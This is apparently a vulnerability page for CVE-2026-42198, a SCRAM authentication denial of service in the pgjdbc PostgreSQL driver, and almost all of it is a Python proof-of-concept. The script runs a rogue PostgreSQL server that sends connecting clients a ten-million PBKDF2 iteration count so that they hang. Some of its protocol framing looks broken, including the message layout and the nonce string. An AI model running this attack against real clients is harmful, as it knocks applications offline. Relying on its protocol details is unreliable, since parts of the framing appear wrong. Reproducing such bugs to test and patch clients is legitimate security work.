CVE-2026-42198 pgjdbc SCRAM认证拒绝服务漏洞

import socket import struct import time # PoC for CVE-2026-42198: Malicious PostgreSQL Server # This script simulates a PG server that sends a high iteration count # to trigger the DoS in vulnerable pgjdbc clients. MALICIOUS_ITERATION_COUNT = 10000000 # 10 million iterations def send_msg(sock, msg): # PostgreSQL message format: Type + Length + Payload if msg: sock.sendall(msg) def create_auth_sasl_mechanisms(): # 'R' (AuthenticationSASL) # Payload: Int32(10) + String mechanisms mechanisms = b'SCRAM-SHA-256\x00' msg = struct.pack('>ci', b'R', 10) + mechanisms return struct.pack('>I', len(msg) + 4) + msg def create_auth_sasl_continue(salt, iteration): # 'R' (AuthenticationSASLContinue) # Payload: Int32(11) + String data # SASLContinue format: r=...,s=<salt>,i=<iteration> data = f'r=noncer=s={salt},i={iteration}\x00' msg = struct.pack('>ci', b'R', 11) + data.encode('utf-8') return struct.pack('>I', len(msg) + 4) + msg def start_malicious_server(port=5432): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(5) print(f"[*] Malicious PG server listening on port {port}") while True: client, addr = server.accept() print(f"[*] Connection from {addr}") try: # 1. Send StartupMessage response (AuthenticationSASL) # Skip reading startup message for brevity, just send attack send_msg(client, b'N\x00\x00\x00\x04\x00') # NoData # Send AuthenticationSASL send_msg(client, create_auth_sasl_mechanisms()) # 2. Read client response (SASLInitialResponse) client.recv(4096) # 3. Send AuthenticationSASLContinue with high iteration count # Salt can be random, here is static salt = 'YWJjZGVmZ2hpamtsbW5vcA==' # base64 salt payload = create_auth_sasl_continue(salt, MALICIOUS_ITERATION_COUNT) # Add code for AuthenticationSASLFinal (12) to keep client waiting if needed # But the PBKDF2 happens after receiving Continue (11) send_msg(client, payload) print("[*] Malicious iteration count sent. Client should hang now.") # Keep connection open to ensure client computes time.sleep(60) except Exception as e: print(f"[-] Error: {e}") finally: client.close() if __name__ == "__main__": start_malicious_server()